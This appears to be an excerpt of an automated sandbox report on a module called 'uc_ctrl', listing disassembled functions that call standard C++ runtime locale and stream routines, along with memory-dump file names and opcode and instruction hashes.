?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6C950D89

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 2e5dc72a927654676fea2f4ece853476d07525f02ee53301b4156f90233c92fd
Instruction ID: 59f1713192ea8d9ed26bde619a89a46bd6240e03881be60372f1fbb26c5ab904
Opcode Fuzzy Hash: 2e5dc72a927654676fea2f4ece853476d07525f02ee53301b4156f90233c92fd
Instruction Fuzzy Hash: E4219071901144AFCB05DFA8C954BEDBBB5AF69308F24808DE145A7381CB75DA19CBA0

Function 6C952C20 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C952C27

Part of subcall function 6C94FE3E: __EH_prolog3.LIBCMT ref: 6C94FE45
Part of subcall function 6C94FE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C951749,?,00000001,00000008), ref: 6C94FE7A

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C952C58

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949BEB: __EH_prolog3.LIBCMT ref: 6C949BF2
Part of subcall function 6C949BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EAA0,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949BFD
Part of subcall function 6C949BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949C15
Part of subcall function 6C949BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949C79

std::locale::~locale.LIBCPMT ref: 6C952C6D
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAI@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6C952CAA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C952CED

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3926143654-0
Opcode ID: 734ae786a1807d8de3343e28a8a110fafa8a7986f649e9edb0586dd2e5f7ad11
Instruction ID: 8cdb73f705af3dc7a676ba228890c35267c6c3d9e705acf5669d6cfae6a5a2b4
Opcode Fuzzy Hash: 734ae786a1807d8de3343e28a8a110fafa8a7986f649e9edb0586dd2e5f7ad11
Instruction Fuzzy Hash: 1F218E70A01158AFCF02DBE4C854EEEBFB5BF69308F544059E109A7351D731DA59CBA1

Function 6C950DA0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C950DA7

Part of subcall function 6C937C64: __EH_prolog3.LIBCMT ref: 6C937C6B
Part of subcall function 6C937C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6C937BA3,?,?,?,?,?,?,0000000C,6C937B7C,?,6C934238,?,747991BB,?,6C95BDA0), ref: 6C937CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6C950DD7

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949C86: __EH_prolog3.LIBCMT ref: 6C949C8D
Part of subcall function 6C949C86: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EAF1,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949C98
Part of subcall function 6C949C86: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949CB0
Part of subcall function 6C949C86: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949D14

std::locale::~locale.LIBCPMT ref: 6C950DED
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WN@Z.MSVCP140(?,?,?,00000002,?,00000002,00000002,?,?,?,?,?,?,?,?,00000028), ref: 6C950E1C
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6C950E69

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: fe81c565fb0b6ad96fa5bda2b2eede82adba16da1b6e49dd729acdab80c3cf46
Instruction ID: 66320790a1bd5c22ba04d3c08b5dfa5792510a2f091711962ae5195b9701bfbc
Opcode Fuzzy Hash: fe81c565fb0b6ad96fa5bda2b2eede82adba16da1b6e49dd729acdab80c3cf46
Instruction Fuzzy Hash: 9C21A271A01104AFCB05DFA8C954BFDBBF5AF69708F24848DE145A7381CB75DA19CBA0

Function 6C955D70 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C955D77

Part of subcall function 6C94FE8C: __EH_prolog3.LIBCMT ref: 6C94FE93
Part of subcall function 6C94FE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C954999,?,00000001,00000008), ref: 6C94FEC8

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C955DA8

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949550: __EH_prolog3.LIBCMT ref: 6C949557
Part of subcall function 6C949550: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E5C0,?,?,00000000), ref: 6C949562
Part of subcall function 6C949550: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6C94957A
Part of subcall function 6C949550: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6C9495DE

std::locale::~locale.LIBCPMT ref: 6C955DBD
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAJ@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6C955DFA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C955E3D

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_W@std@@@std@@$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchIpfx@?$basic_istream@_Lockit@std@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 350562734-0
Opcode ID: ec4d38031bb1a62148e62cdfb7d5a5c10e5ea381f11b99c4f67638ac51447d1f
Instruction ID: 90ae793a2f1f9640fdf3f492a0a0903cee6ea901b5f787f41969a248e15699ed
Opcode Fuzzy Hash: ec4d38031bb1a62148e62cdfb7d5a5c10e5ea381f11b99c4f67638ac51447d1f
Instruction Fuzzy Hash: E9218E30A01148AFCB05DFE4C954EEEBFB5AF69308F144059E009A7752D731DA69CBA0

Function 6C953EC0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C953EC7

Part of subcall function 6C937C64: __EH_prolog3.LIBCMT ref: 6C937C6B
Part of subcall function 6C937C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6C937BA3,?,?,?,?,?,?,0000000C,6C937B7C,?,6C934238,?,747991BB,?,6C95BDA0), ref: 6C937CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6C953EF7

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C9495EB: __EH_prolog3.LIBCMT ref: 6C9495F2
Part of subcall function 6C9495EB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E611,?,?,?,?,?,00000000), ref: 6C9495FD
Part of subcall function 6C9495EB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6C949615
Part of subcall function 6C9495EB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,00000000), ref: 6C949679

std::locale::~locale.LIBCPMT ref: 6C953F0D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WO@Z.MSVCP140(?,?,?,00000002,?,00000002,00000002,?,?,?,?,?,?,?,?,00000028), ref: 6C953F3C
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6C953F89

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 779c712983092025e5feceda219b6bef66a06f8c00ac49fc87d051e6b8adfec6
Instruction ID: 802e3329f501c4c13100dba48268fb5c2fe20230c6afbe97452961100468d702
Opcode Fuzzy Hash: 779c712983092025e5feceda219b6bef66a06f8c00ac49fc87d051e6b8adfec6
Instruction Fuzzy Hash: FD219D71901104AFDB05DBA8C954BFDBBB5BF39308F24808DE545A7381CB76DA19CBA0

Function 6C952E20 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C952E27

Part of subcall function 6C94FE3E: __EH_prolog3.LIBCMT ref: 6C94FE45
Part of subcall function 6C94FE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C951749,?,00000001,00000008), ref: 6C94FE7A

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C952E58

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949BEB: __EH_prolog3.LIBCMT ref: 6C949BF2
Part of subcall function 6C949BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EAA0,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949BFD
Part of subcall function 6C949BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949C15
Part of subcall function 6C949BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949C79

std::locale::~locale.LIBCPMT ref: 6C952E6D
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAG@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6C952EAA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C952EED

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3926143654-0
Opcode ID: fec54984c16010f6477623058669c8590d135558755713d5512a448ff4c785f4
Instruction ID: f383f031f255532c40fbb37c776f6f4cd2fd6903760cbeba17f04f3aba87c824
Opcode Fuzzy Hash: fec54984c16010f6477623058669c8590d135558755713d5512a448ff4c785f4
Instruction Fuzzy Hash: 37218C70A01258AFCF01DFE4C894EEEBFB5AF69308F544059E009A7351DB31DA5ACBA0

Function 6C955E60 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C955E67

Part of subcall function 6C94FE8C: __EH_prolog3.LIBCMT ref: 6C94FE93
Part of subcall function 6C94FE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C954999,?,00000001,00000008), ref: 6C94FEC8

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C955E98

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949550: __EH_prolog3.LIBCMT ref: 6C949557
Part of subcall function 6C949550: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E5C0,?,?,00000000), ref: 6C949562
Part of subcall function 6C949550: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6C94957A
Part of subcall function 6C949550: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6C9495DE

std::locale::~locale.LIBCPMT ref: 6C955EAD
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAI@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6C955EEA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C955F2D

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_W@std@@@std@@$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchIpfx@?$basic_istream@_Lockit@std@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 350562734-0
Opcode ID: f04930041ad039bb1a3a6f98ea8cd52109e6db429d713947555280fe55354685
Instruction ID: 74f1a046813849b69a11eb31c9ac80da3cb437e428038490cbb1f7ceede398e9
Opcode Fuzzy Hash: f04930041ad039bb1a3a6f98ea8cd52109e6db429d713947555280fe55354685
Instruction Fuzzy Hash: F221AE30A01108AFCB01DFE4C844EEEBFB5BF28308F544059E009A7742D731DA69CBA0

Function 6C953FA0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C953FA7

Part of subcall function 6C937C64: __EH_prolog3.LIBCMT ref: 6C937C6B
Part of subcall function 6C937C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6C937BA3,?,?,?,?,?,?,0000000C,6C937B7C,?,6C934238,?,747991BB,?,6C95BDA0), ref: 6C937CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6C953FD7

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C9495EB: __EH_prolog3.LIBCMT ref: 6C9495F2
Part of subcall function 6C9495EB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E611,?,?,?,?,?,00000000), ref: 6C9495FD
Part of subcall function 6C9495EB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6C949615
Part of subcall function 6C9495EB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,00000000), ref: 6C949679

std::locale::~locale.LIBCPMT ref: 6C953FED
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WN@Z.MSVCP140(?,?,?,00000002,?,00000002,00000002,?,?,?,?,?,?,?,?,00000028), ref: 6C95401C
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6C954069

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: f96c67088dea9f20fe52f158258cde97412a0fef2552ea85f348f2cb2125bb5b
Instruction ID: 50878b0d8e3ce354d4d538c60806f5fa1bf20b00ea49fb72c6581a948dba313a
Opcode Fuzzy Hash: f96c67088dea9f20fe52f158258cde97412a0fef2552ea85f348f2cb2125bb5b
Instruction Fuzzy Hash: 9221AF71901104EFCB05DFA8C954BFDBBB5AF29308F24808DE145A7381CB76DA19CBA0

Function 6C9558C0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C9558C7

Part of subcall function 6C94FE8C: __EH_prolog3.LIBCMT ref: 6C94FE93
Part of subcall function 6C94FE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C954999,?,00000001,00000008), ref: 6C94FEC8

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C9558F8

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949550: __EH_prolog3.LIBCMT ref: 6C949557
Part of subcall function 6C949550: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E5C0,?,?,00000000), ref: 6C949562
Part of subcall function 6C949550: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6C94957A
Part of subcall function 6C949550: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6C9495DE

std::locale::~locale.LIBCPMT ref: 6C95590D
?get_date@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6C95594A
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C95598D

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_W@std@@@std@@$??1_?get_date@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchIpfx@?$basic_istream@_Lockit@std@@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 679560703-0
Opcode ID: 53d58b78df4faee88c720e06a045d8d64a29adad01c74354f2d636858bb3eeb6
Instruction ID: 625e4852fc30caa71ac1a8dc0d611755254651e5cf69719b10ab0a9ea8a086dc
Opcode Fuzzy Hash: 53d58b78df4faee88c720e06a045d8d64a29adad01c74354f2d636858bb3eeb6
Instruction Fuzzy Hash: D821AC70A01108AFCF01DFE8C854EEEBFB5AF29318F148059E009A7752DB31DA59CBA0

Function 6C952860 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C952867

Part of subcall function 6C94FE3E: __EH_prolog3.LIBCMT ref: 6C94FE45
Part of subcall function 6C94FE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C951749,?,00000001,00000008), ref: 6C94FE7A

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C952898

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949BEB: __EH_prolog3.LIBCMT ref: 6C949BF2
Part of subcall function 6C949BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EAA0,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949BFD
Part of subcall function 6C949BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949C15
Part of subcall function 6C949BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949C79

std::locale::~locale.LIBCPMT ref: 6C9528AD
?get_monthname@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6C9528EA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C95292D

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

